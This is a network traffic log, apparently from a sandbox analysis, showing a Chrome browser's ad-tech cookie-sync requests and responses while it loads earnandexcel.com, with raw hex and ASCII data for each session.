2024-04-11 21:26:59 UTC	885	OUT	GET /usermatchredir?s=193478&cb=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3DindexExchange%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	1312	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Length: 0 Connection: close Location: /usermatchredir?cb=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3DindexExchange%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D&s=193478&C=1 CF-Ray: 872e0ede1b1f3300-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZhhVo0t3uSsAAHTnAOvF5wAA; Path=/; Domain=casalemedia.com; Expires=Fri, 11 Apr 2025 21:26:59 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=020; Path=/; Domain=casalemedia.com; Expires=Wed, 10 Jul 2024 21:26:59 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=020; Path=/; Domain=casalemedia.com; Expires=Wed, 10 Jul 2024 21:26:59 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=glUx3UxjQOpB9onDE4FPugBJ7knDQdG8X0gBUvk2AMJ56qNgYQSuc5YVxVH7debkG0uQLIQt9RWLu9yjtU%2FpwEHA66qyLl%2Fn2jQOGwlxxd%2BXiSqI4RFlVJpgeUvt2J%2F4Jg6%2FHrCgv9vimA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.17	50071	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	951	OUT	GET /ps/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true
2024-04-11 21:26:59 UTC	792	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534; Domain=.33across.com; Expires=Fri, 11-Apr-2025 21:26:59 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 8340000C server: 33XP001 location: https://de.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X content-length: 0 date: Thu, 11 Apr 2024 21:26:58 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.17	50052	104.76.104.139	443

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-11 21:26:59 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=34636 Date: Thu, 11 Apr 2024 21:26:59 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.17	50064	54.81.20.119	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	904	OUT	GET /pbsync?gdpr=&gdpr_consent=&us_privacy=1---&redirectUri=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dyieldmo%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	836	IN	HTTP/1.1 302 Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Type: application/json;charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: yieldmo_id=VcFrT9hNNrhKI_SoFwed%7C1712793600000%7C0; Max-Age=31536000; Expires=Fri, 11 Apr 2025 21:26:59 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Location: https://exchange.mediavine.com/usersync/redirect?partner=yieldmo&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=VcFrT9hNNrhKI_SoFwed&gdpr=&gdpr_consent=&us_privacy=1--- Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.17	50072	54.86.59.69	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	782	OUT	GET /usersync/sync?p=[]&mv_uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&version=invalidate-verizon-pushes HTTP/1.1 Host: exchange.journeymv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 236 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache Set-Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:59 GMT; Secure; SameSite=None Set-Cookie: mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:59 GMT; Secure; SameSite=None Set-Cookie: am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:59 GMT; Secure; SameSite=None Set-Cookie: am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:59 GMT; Secure; SameSite=None
2024-04-11 21:26:59 UTC	236	IN	Data Raw: 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 0a 20 20 20 20 20 20 20 20 6d 65 73 73 61 67 65 3a 20 27 73 79 6e 63 55 72 6c 73 27 2c 0a 20 20 20 20 20 20 20 20 74 6f 6b 65 6e 73 3a 20 7b 22 6d 76 5f 75 75 69 64 22 3a 22 33 61 36 35 37 34 65 30 2d 66 38 34 61 2d 31 31 65 65 2d 61 39 64 31 2d 33 33 33 63 65 66 63 39 32 37 34 31 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 69 6e 76 61 6c 69 64 61 74 65 2d 76 65 72 69 7a 6f 6e 2d 70 75 73 68 65 73 22 7d 2c 0a 20 20 20 20 20 20 20 20 73 79 6e 63 55 72 6c 73 3a 20 5b 5d 0a 20 20 20 20 20 20 7d 2c 20 22 75 6e 64 65 66 69 6e 65 64 22 29 0a 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script> window.parent.postMessage({ message: 'syncUrls', tokens: {"mv_uuid":"3a6574e0-f84a-11ee-a9d1-333cefc92741","version":"invalidate-verizon-pushes"}, syncUrls: [] }, "undefined") </script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.17	50076	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	1383	OUT	GET /usersync/redirect?partner=mediadotnet&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3558724192336578000V10 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:00 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.17	50082	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	966	OUT	GET /w/1.0/cm?cc=1&id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId= HTTP/1.1 Host: u.openx.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819
2024-04-11 21:27:00 UTC	631	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819; Version=1; Expires=Fri, 11-Apr-2025 21:26:59 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; Version=1; Expires=Fri, 26-Apr-2024 21:26:59 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Type: text/html Content-Length: 1472 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:00 UTC	624	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 65 78 63 68 61 6e 67 65 2e 6d 65 64 69 61 76 69 6e 65 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 2f 72 65 64 69 72 65 63 74 3f 70 61 72 74 6e 65 72 3d 6f 70 65 6e 78 26 75 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://exchange.mediavine.com/usersync/redirect?partner=openx&u
2024-04-11 21:27:00 UTC	784	IN	Data Raw: 49 44 25 37 44 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 33 39 39 26 76 61 6c 3d 24 55 49 44 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 64 2e 74 75 72 6e 2e 63 6f 6d 2f 72 2f 63 73 3f 70 69 64 3d 39 26 67 64 70 72 3d 30 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2d 74 6d 2e 65 76 65 72 65 73 74 74 65 63 68 2e 6e 65 74 2f 75 70 69 2f 70 69 64 2f 6e 79 37 35 72 32 78 30 3f 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 25 32 46 77 25 32 46 31 2e 30 25 32 46 Data Ascii: ID%7D"><img src="https://ib.adnxs.com/getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID"><img src="https://ad.turn.com/r/cs?pid=9&gdpr=0"><img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2F
2024-04-11 21:27:00 UTC	64	IN	Data Raw: 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 6f 70 65 6e 78 26 67 6f 6f 67 6c 65 5f 63 6d 26 67 6f 6f 67 6c 65 5f 73 63 22 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: t/pixel?google_nid=openx&google_cm&google_sc"></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.17	50086	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	672	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=7994817&p=157108&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	910	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=1; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=157108:2; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 11 Apr 2024 21:26:58 GMT Transfer-Encoding: chunked Connection: close
2024-04-11 21:26:59 UTC	2639	IN	Data Raw: 61 34 33 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 6d 65 62 26 67 6f 6f 67 6c 65 5f 73 63 3d 31 26 67 6f 6f 67 6c 65 5f 68 6d 3d 4a 66 6c 55 6e 68 4e 71 52 2d 6d 52 63 64 70 45 77 4f 44 56 34 77 25 33 44 25 33 44 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 33 33 37 31 26 70 61 72 74 6e 65 72 Data Ascii: a43PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=JflUnhNqR-mRcdpEwODV4w%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.17	50083	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	717	OUT	GET /pagead/managed/js/gpt/m202404080101/pubads_impl.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-11 21:26:59 UTC	742	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 455309 X-XSS-Protection: 0 Date: Thu, 11 Apr 2024 13:56:00 GMT Expires: Fri, 11 Apr 2025 13:56:00 GMT Cache-Control: public, immutable, max-age=31536000 Age: 27059 ETag: 12585642542182148888 Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:59 UTC	513	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 2f 2a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 2f 2a 20 0a 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 2f 2a 20 0a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 2d 32 30 31 38 20 47 6f 6f 67 6c 65 2c 20 49 6e 63 2e 2c 20 4e 65 74 66 6c 69 78 2c 20 49 6e 63 2e 2c 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 2e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 0a 20 4c 69 63 65 6e 73 65 64 Data Ascii: (function(_){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / SPDX-License-Identifier: Apache-2.0 / / Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors Licensed
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 64 20 74 6f 20 69 6e 20 77 72 69 74 69 6e 67 2c 20 73 6f 66 74 77 61 72 65 20 0a 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4c 69 63 65 6e 73 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 6f 6e 20 61 6e 20 22 41 53 20 49 53 22 20 42 41 53 49 53 2c 20 0a 20 57 49 54 48 4f 55 54 20 57 41 52 52 41 4e 54 49 45 53 20 4f 52 20 43 4f 4e 44 49 54 49 4f 4e 53 20 4f 46 20 41 4e 59 20 4b 49 4e 44 2c 20 65 69 74 68 65 72 20 65 78 70 72 65 73 73 20 6f 72 20 69 6d 70 6c 69 65 64 2e 20 0a 20 53 65 65 20 74 68 65 20 4c 69 63 65 6e 73 65 20 66 6f 72 20 74 68 65 20 73 70 65 63 69 66 69 63 20 6c 61 6e 67 75 61 67 65 20 67 6f 76 65 72 6e 69 6e 67 20 70 65 72 6d 69 73 73 69 6f 6e 73 20 61 6e 64 20 0a 20 6c 69 6d 69 74 61 74 69 6f 6e 73 20 75 6e Data Ascii: d to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations un
2024-04-11 21:26:59 UTC	1255	IN	Data Raw: 6f 2c 4d 6f 2c 4e 6f 2c 4f 6f 2c 51 6f 2c 52 6f 2c 56 6f 2c 58 6f 2c 59 6f 2c 57 6f 2c 63 70 2c 64 70 2c 65 70 2c 69 70 2c 6a 70 2c 6c 70 2c 76 70 2c 78 70 2c 41 70 2c 44 70 2c 43 70 2c 42 70 2c 4e 70 2c 51 70 2c 52 70 2c 53 70 2c 54 70 2c 56 70 2c 58 70 2c 59 70 2c 5a 70 2c 61 71 2c 62 71 2c 64 71 2c 63 71 2c 66 71 2c 69 71 2c 68 71 2c 6a 71 2c 6c 71 2c 6d 71 2c 70 71 2c 71 71 2c 73 71 2c 76 71 2c 75 71 2c 78 71 2c 79 71 2c 7a 71 2c 42 71 2c 43 71 2c 45 71 2c 44 71 2c 48 71 2c 4a 71 2c 4c 71 2c 4e 71 2c 53 71 2c 54 71 2c 55 71 2c 56 71 2c 59 71 2c 61 72 2c 5a 71 2c 24 71 2c 62 72 2c 63 72 2c 66 72 2c 67 72 2c 68 72 2c 69 72 2c 6a 72 2c 6b 72 2c 6c 72 2c 6d 72 2c 6f 72 2c 73 72 2c 75 72 2c 76 72 2c 77 72 2c 7a 72 2c 4a 72 2c 43 72 2c 4f 72 2c 50 72 2c 51 Data Ascii: 